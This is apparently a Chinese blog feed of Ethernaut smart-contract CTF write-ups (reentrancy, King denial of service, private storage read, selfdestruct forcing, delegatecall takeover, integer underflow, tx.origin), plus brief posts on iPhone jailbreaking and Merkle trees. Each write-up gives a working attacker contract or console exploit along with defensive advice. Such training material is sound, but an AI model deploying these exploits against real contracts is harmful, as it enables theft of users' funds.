Alex Lin's Notes

Strategy, Execution, Communication.

Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x573eAaf1C1c2521e671534FAA525fAAf0894eCEb

要求

这一关的目标是偷走合约的所有资产.

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码.
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约.
  • 查看上方帮助页面, “控制台之外” 部分

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

分析合约代码,关键点在于 withdraw 函数中:

1
(bool result,) = msg.sender.call{value:_amount}("");

这里犯了常见的错误:未考虑调用者为另一个合约的情况。如果该合约在 fallback() 中调用相同的函数就会发生 Re-entrancy attack。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 10_Re-entrancy.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    interface IReentrance {
    function withdraw(uint256 _amount) external;
    }

    contract HackReentrance {
    address levelInstance;

    constructor(address _levelInstance) {
    levelInstance = _levelInstance;
    }

    function claim(uint256 _amount) public {
    IReentrance(levelInstance).withdraw(_amount);
    }

    fallback() external payable {
    IReentrance(levelInstance).withdraw(msg.value);
    }

    receive() external payable {
    IReentrance(levelInstance).withdraw(msg.value);
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 为了保证被攻击合约余额能取空,查看被攻击合约余额 await getBalance(instance)

  5. 调用 donate 函数将ETH存入被攻击合约,在 Console 里执行:

    1
    await contract.donate("刚部署的攻击合约地址", {value: 被攻击合约余额})
  6. 回到 Remix IDE,再调用 claim 函数:

    • value 填入调用 donate 函数的值
  7. 完成关卡。

后记

Re-entrancy attack 是一种最常见的攻击。这里 就介绍了 UniSwap 在V1 时如何受到 Re-entrancy attack。

要防止 Re-entrancy attack,最简单的办法是使用使用OpenZeppelinReentrancyGuard

S01. 重入攻击 | WTF学院

为了防止转移资产时的重入攻击, 使用 Checks-Effects-Interactions pattern 注意 call 只会返回 false 而不中断执行流. 其它方案比如 ReentrancyGuard 或 PullPayment 也可以使用.

transfer 和 send 不再被推荐使用, 因为他们在 Istanbul 硬分叉之后可能破坏合约 Source 1 Source 2.

总是假设资产的接受方可能是另一个合约, 而不是一个普通的地址. 因此, 他有可能执行了他的payable fallback 之后又“重新进入” 你的合约, 这可能会打乱你的状态或是逻辑.

重进入是一种常见的攻击. 你得随时准备好!

The DAO Hack

著名的DAO hack 使用了重进入攻击, 窃取了受害者大量的 ether. 参见 15 lines of code that could have prevented TheDAO Hack.

手上有一台 iPhone 6S 15.7.1 的设备准备越狱做一些测试。

GitHub和twitter上找到一个解决方案,并且在我的设备上成功越狱。https://github.com/palera1n/palera1n

必读

不同的设备将需要不同的步骤来越狱您的 iOS 设备。此页面将帮助您找到从哪里开始。

https://ios.cfw.guide/get-started/

以下步骤以 iPhone 6s 15.7.1 为例:

阅读全文 »

Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x25141B6345378e7558634Cf7c2d9B8670baFA417

要求

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

分析合约代码,关键点在于 receive 函数中:

1
king.transfer(msg.value);

这里犯了常见的错误:未考虑调用者 king 为另一个合约的情况。如果该合约未定义 fallback()receive() 函数,transfer() 就会失败,会自动revert(回滚交易)。

因此只要有一个未定义 fallback()receive() 函数的合约占用king,合约在 transfer 时失败,令king的地址永远属于该合约。

另一个关键点是,King 合约的 receive 有复杂的逻辑, 而

solidity三种发送ETH的方法:transfersendcall

  • call没有gas限制,最为灵活,是最提倡的方法;
  • transfer2300 gas限制,但是发送失败会自动revert交易,是次优选择;
  • send2300 gas限制,而且发送失败不会自动revert交易,几乎没有人用它。

因此只能用 call 函数进行调用。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 9_King.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    contract HackKing {
    error CallFailed();
    address levelInstance;

    constructor(address _levelInstance) payable {
    levelInstance = _levelInstance;
    }

    function give() external payable {
    (bool success,) = levelInstance.call{value: msg.value}("");
    if(!success){
    revert CallFailed();
    }
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 give 函数:

    • 获取当前King 合约的 prize await getBalance(instance) 为 0.001 ether
    • VALUE 需要大于或者等于 0.001 ether
    • 手动调高 GAS LIMIT,不然调用合约会因为 out of gas 失败
  5. 查看 King 合约的king是否为HackKing 合约。

  6. 完成关卡。

后记

大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).

关于这次的情况, 参见: King of the Ether 和 King of the Ether Postmortem

默克尔树

默克尔树结构用很小的成本就能有效验证数据集的完整性。

什么是Merkle树?

默克尔树是一种树状结构,树上的每个节点都由一个值表示,这个值是一些加密哈希函数的结果。哈希函数是单向的,从一个输入产生一个输出很容易,但从一个输出确定一个输入在计算上是不可行的。默克尔树有3种类型的节点,如下所示:

  • 叶子节点 - 叶子节点位于树的最底部,它们的值是原始数据根据指定的哈希函数进行哈希的结果。一棵树上有多少个叶子节点,就有多少个需要哈希的原始数据。例如,如果有7个数据需要被哈希,就会有7个叶子节点。

  • 父节点 - 父节点可以位于树的不同层次,这取决于整个树的大小,父节点总是位于叶节点之上。父节点的值是由它下面的节点的哈希值决定的,通常从左到右开始。由于不同的输入总是会产生不同的哈希值,不考虑哈希值的碰撞,节点哈希值的连接顺序很重要。值得一提的是,根据树的大小,父节点可以Hash其他父节点。

  • 根节点 - 根节点位于树的顶端,由位于它下面的两个父节点的哈希值连接而成,同样从左到右开始。任何默克尔树上都只有一个根节点,根节点拥有根哈希值。

默克尔树结构

阅读全文 »

Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0x78BA1a1DD8833A4a20ecAc0Db8f3aCD8A9211beD

要求

打开 vault 来通过这一关!

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

分析下合约代码,就是要获取合约的password值。虽然 password 是一个 private,不能直接调用合约取值,但我们可以通过 Web3的getStorageAt 函数可以取得指定地址特定位置的storage。

web3.eth.**getStorageAt**(address, position [, defaultBlock] [, callback])

Get the storage at a specific position of an address.

Parameters

  1. String - The address to get the storage from.
  2. Number|String|BN|BigNumber - The index position of the storage.
  3. Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest""latest" , "pending""safe" or "finalized" can also be used.
  4. Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

Returns

Promise returns String - The value in storage at the given position.

解题

  1. 打开 Console 执行以下命令:

    1
    await web3.eth.getStorageAt(instance, 1)

    得到结果:0x412076657279207374726f6e67207365637265742070617373776f7264203a29

    将该结果转换成字符串:await web3.utils.toAscii("0x412076657279207374726f6e67207365637265742070617373776f7264203a29") ,可以得到:A very strong secret password :)

  2. 调用合约代码:

    1
    await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
  3. 提交实例,完成关卡。

后记

请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.

为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.

Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x20B5c742dD8A63400644Ba85dd48E8FDB6908A7A

要求

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

这可能有帮助:

  • Fallback 方法
  • 有时候攻击一个合约最好的方法是使用另一个合约.
  • 阅读上方的帮助页面, “控制台之外” 部分

分析

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

首先引入一个知识点 fallback。上一关已经简单介绍过 fallback方法,这次再扩展下。

Solidity支持两种特殊的回调函数,receive()fallback(),他们主要在两种情况下被使用:

  1. 接收ETH
  2. 处理合约中不存在的函数调用(代理合约proxy contract)

接收ETH函数 receive

receive()只用于处理接收ETH。一个合约最多有一个receive()函数,声明方式与一般函数不一样,不需要function关键字:receive() external payable { ... }receive()函数不能有任何的参数,不能返回任何值,必须包含externalpayable

1
2
3
4
5
6
// 定义事件
event Received(address Sender, uint Value);
// 接收ETH时释放Received事件
receive() external payable {
emit Received(msg.sender, msg.value);
}

回退函数 fallback

fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约proxy contractfallback()声明时不需要function关键字,必须由external修饰,一般也会用payable修饰,用于接收ETH:fallback() external payable { ... }

1
2
3
4
// fallback
fallback() external payable{
emit fallbackCalled(msg.sender, msg.value, msg.data);
}

receive和fallback的区别

receivefallback都能够用于接收ETH,他们触发的规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
触发fallback() 还是 receive()?
接收ETH
|
msg.data是空?
/ \
是 否
/ \
receive()存在? fallback()
/ \
是 否
/ \
receive() fallback()

简单来说,合约接收ETH时,msg.data为空且存在receive()时,会触发receive()msg.data不为空或不存在receive()时,会触发fallback(),此时fallback()必须为payable

receive()payable fallback()均不存在的时候,向合约发送ETH将会报错。

我们再来看 Force 合约,这里只定义了合约,没有定义 receivefallback 方法,到这里从调用不存在的合约方法触发 fallback 走不通,那还有没有其他方法可以往一个合约转账,还真有一个方法 selfdestruct

selfdestruct命令可以用来删除智能合约,并将该合约剩余ETH转到指定地址。selfdestruct是为了应对合约出错的极端情况而设计的。

selfdestruct使用起来非常简单:

1
selfdestruct(address payable recipient)

其中recipient是接收合约中剩余ETH的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract DeleteContract {

uint public value = 10;

constructor() payable {}

receive() external payable {}

function deleteContract() external {
// 调用selfdestruct销毁合约,并把剩余的ETH转给msg.sender
selfdestruct(payable(msg.sender));
}

function getBalance() external view returns(uint balance){
balance = address(this).balance;
}
}

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 7_Force.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    contract HackForce {
    address levelInstance;

    constructor(address _levelInstance) payable {
    levelInstance = _levelInstance;
    }

    function give() external payable {
    selfdestruct(payable(levelInstance));
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。VALUE 填入任意值。

  4. 再调用 give 函数,完成关卡。

后记

在solidity中,如果一个合约要接受 ether,fallback 方法必须设置为 payable

但是,并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0 之上。

Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0x31C4D3a9e0ED12A409cF3C84ad145331aB487D3F

要求

这一关的目标是申明你对你创建实例的所有权.

这可能有帮助

  • 仔细看solidity文档关于 delegatecall 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
  • Fallback 方法
  • 方法 ID

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

首先我们根据解题提示和分析合约,有3个知识点。以下内容引用自:WTF Academy

delegatecallcall

delegatecallcall类似,是solidity中地址类型的低级成员函数。

当用户A通过合约Bcall合约C的时候,执行的是合约C的函数,语境(Context,可以理解为包含变量和状态的环境)也是合约C的:msg.senderB的地址,并且如果函数改变一些状态变量,产生的效果会作用于合约C的变量上。

而当用户A通过合约Bdelegatecall合约C的时候,执行的是合约C的函数,但是语境仍是合约B的:msg.senderA的地址,并且如果函数改变一些状态变量,产生的效果会作用于合约B的变量上。

大家可以这样理解:一个富商把它的资产(状态变量)都交给一个VC代理(目标合约的函数)来打理。执行的是VC的函数,但是改变的是富商的状态。

delegatecall语法和call类似,也是:

1
目标合约地址.delegatecall(二进制编码);

其中二进制编码利用结构化编码函数abi.encodeWithSignature获得:

1
abi.encodeWithSignature("函数签名", 逗号分隔的具体参数)

函数签名"函数名(逗号分隔的参数类型)"。例如abi.encodeWithSignature("f(uint256,address)", _x, _addr)

call不一样,delegatecall在调用合约时可以指定交易发送的gas,但不能指定发送的ETH数额

注意:delegatecall有安全隐患,使用时要保证当前合约和目标合约的状态变量存储结构相同,并且目标合约安全,不然会造成资产损失。

Fallback

fallback()函数会在调用合约不存在的函数时被触发。可用于接收ETH,也可以用于代理合约proxy contractfallback()声明时不需要function关键字,必须由external修饰,一般也会用payable修饰,用于接收ETH:fallback() external payable { ... }

我们定义一个fallback()函数,被触发时候会释放fallbackCalled事件,并输出msg.sendermsg.valuemsg.data:

1
2
3
4
// fallback
fallback() external payable{
emit fallbackCalled(msg.sender, msg.value, msg.data);
}

方法 ID

ABI (Application Binary Interface,应用二进制接口)是与以太坊智能合约交互的标准。数据基于他们的类型编码;并且由于编码后不包含类型信息,解码时需要注明它们的类型。

Solidity中,ABI编码有4个函数:abi.encodeabi.encodePackedabi.encodeWithSignatureabi.encodeWithSelector。而ABI解码有1个函数:abi.decode,用于解码abi.encode的数据。

abi.encode

将给定参数利用ABI规则编码。ABI被设计出来跟智能合约交互,他将每个参数填充为32字节的数据,并拼接在一起。如果你要和合约交互,你要用的就是abi.encode

1
2
3
function encode() public view returns(bytes memory result) {
result = abi.encode(x, addr, name, array);
}
abi.encodePacked

将给定参数根据其所需最低空间编码。它类似 abi.encode,但是会把其中填充的很多0省略。比如,只用1字节来编码uint类型。当你想省空间,并且不与合约交互的时候,可以使用abi.encodePacked,例如算一些数据的hash时。

1
2
3
function encodePacked() public view returns(bytes memory result) {
result = abi.encodePacked(x, addr, name, array);
}
abi.encodeWithSignature

abi.encode功能类似,只不过第一个参数为函数签名,比如"foo(uint256,address)"。当调用其他合约的时候可以使用。

1
2
3
function encodeWithSignature() public view returns(bytes memory result) {
result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array);
}

等同于在abi.encode编码结果前加上了4字节的函数选择器。 说明: 函数选择器就是通过函数名和参数进行签名处理(Keccak–Sha3)来标识函数,可以用于不同合约之间的函数调用。

abi.encodeWithSelector

abi.encodeWithSignature功能类似,只不过第一个参数为函数选择器,为函数签名Keccak哈希的前4个字节。

1
2
3
function encodeWithSelector() public view returns(bytes memory result) {
result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array);
}

我们再来分析下合约,就很明了。通过触发合约的 fallback 调用 delegatecall 执行 pwn 方法,就可以将合约的owner更改为 player

解题

  1. 首先打开Console,获取当前关卡合约实例地址 contract

  2. 执行JS,调用sendTransaction:

    1
    contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature('pwn()')});
  3. 最后提交,本关完成。

后记

使用delegatecall 是很危险的,而且历史上已经多次被用于进行 attack vector。使用它,你对合约相当于在说 “看这里, 其他合约或是其它库,来对我的状态为所欲为吧”。代理对你合约的状态有完全的控制权。 delegatecall 函数是一个很有用的功能,但是也很危险,所以使用的时候需要非常小心。

请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的。

Chain: Goerli
Difficulty: ●●○○○
Level: https://ethernaut.openzeppelin.com/level/0xDc0c34CFE029b190Fc4A6eD5219BF809F04E57A3

要求

这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token,如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好。
这可能有帮助:
什么是 odometer?

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

我们可以看到 transfer 函数的require 检查代码:

require(balances[msg.sender] - _value >= 0);

由于 balances[msg.sender]_value 都是 uint 类型,balances[msg.sender] - _value 的结果也是 uint ,作为无符号整数永远是大于等于 0 的,导致我们可以任意取款。正确的写法是 require(balances[msg.sender] >= _value)

找到入侵点后,接下来再分析数据。

当前token数:

  • totalSupply: 21000000
  • player: 20
  • level: 20999980

题目中提到数量越多越好,balances 的类型是 uint ,最大值为2**256 -1,因此我们需要将value 变为最大值即可。

解题

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 5_Token.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    interface IToken {
    function transfer(address _to, uint256 _value) external returns (bool);
    }

    contract HackToken {
    address levelInstance;

    constructor(address _levelInstance) {
    levelInstance = _levelInstance;
    }

    function claim() public {
    IToken(levelInstance).transfer(msg.sender, type(uint256).max - 20);
    }
    }

    其中value的值为 type(uint256).max - 20

  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 claim 函数,完成关卡。

后记

EVM 的整数有 int 和 uint 两种,对应有无符号的情况。在 int 或 uint 后可以跟随一个 8 的倍数,表示该整数的位数,如 8 位的 uint8。位数上限为 256 位,int 和 uint 分别是 int256 和 uint256 的别名,一般 uint 使用的更多。

在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。

Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

1
2
3
if(a + c > a) {
a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

1
2
a = a.add(c);

如果有溢出,代码会自动恢复。

Chain: Goerli
Difficulty: ●○○○○
Level: https://ethernaut.openzeppelin.com/level/0x466BDd41a04473A01031C9D80f61A9487C7ef488

通关要求

创建当前关卡合约实例后,调用 await contract.owner() 发现 owner 并不是当前钱包地址。那通过要求就是将 owner 变更为当前钱包。

分析合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

constructor 构造函数中可以看出,owner 是通过 msg.sender 进行初始化。

changeOwner 函数中只有 tx.originmsg.sender 不相等时,才将 owner 赋值。

至此,引出两个不同的变量 tx.originmsg.sender

tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是 tx.origin

msg.sender :指直接调用智能合约功能的帐户或智能合约的地址。

当以智能合约调用智能合约时,msg.sender 在被调用的智能合约中,会是调用者智能合约的地址,而 tx.origin 则是最初调用智能合约的个人钱包地址。

所以,在创建当前关卡合约实例时,是通过关卡合约进行创建,当部署 Telephone 这个合约时,msg.sender 的值为当前关卡合约地址,而不是当前钱包地址。

解题实现

  1. 首先打开Console,获取当前关卡合约实例地址 instance

  2. 打开 Remix IDE,创建文件 Telephone.sol,粘贴以下代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    interface ITelephone {
    function changeOwner(address _owner) external;
    }

    contract Telephone {
    address levelInstance;

    constructor(address _levelInstance) {
    levelInstance = _levelInstance;
    }

    function changeOwner() public {
    ITelephone(levelInstance).changeOwner(msg.sender);
    }
    }
  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 changeOwner 函数,完成关卡。

后记

这个例子比较简单, 混淆 tx.origin 和 msg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击.

  1. 使用 tx.origin 来决定转移谁的token, 比如.

    1
    2
    3
    4
    function transfer(address _to, uint _value) {
    tokens[tx.origin] -= _value;
    tokens[_to] += _value;
    }
  2. 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如

    1
    2
    3
    function () payable {
    token.transfer(attackerAddress, 10000);
    }
  3. 在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract Xwal is ERC721, Ownable {
error NonTransferableToken();

constructor() ERC721("xwal", "xwalNFT") {}

function _baseURI() internal pure override returns (string memory) {
return "https://arweave.net/E7rz7sKa1wWxKlMeFVrtZHgRjGMdDadDkT4QF2vDDkw/";
}

function safeMint(address to, uint256 tokenId) public onlyOwner {
_safeMint(to, tokenId);
}

function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) override internal virtual {
if (from != address(0) && to != address(0)) {
revert NonTransferableToken();
}
}
}

覆盖 _beforeTokenTransfer 方法即可。

0%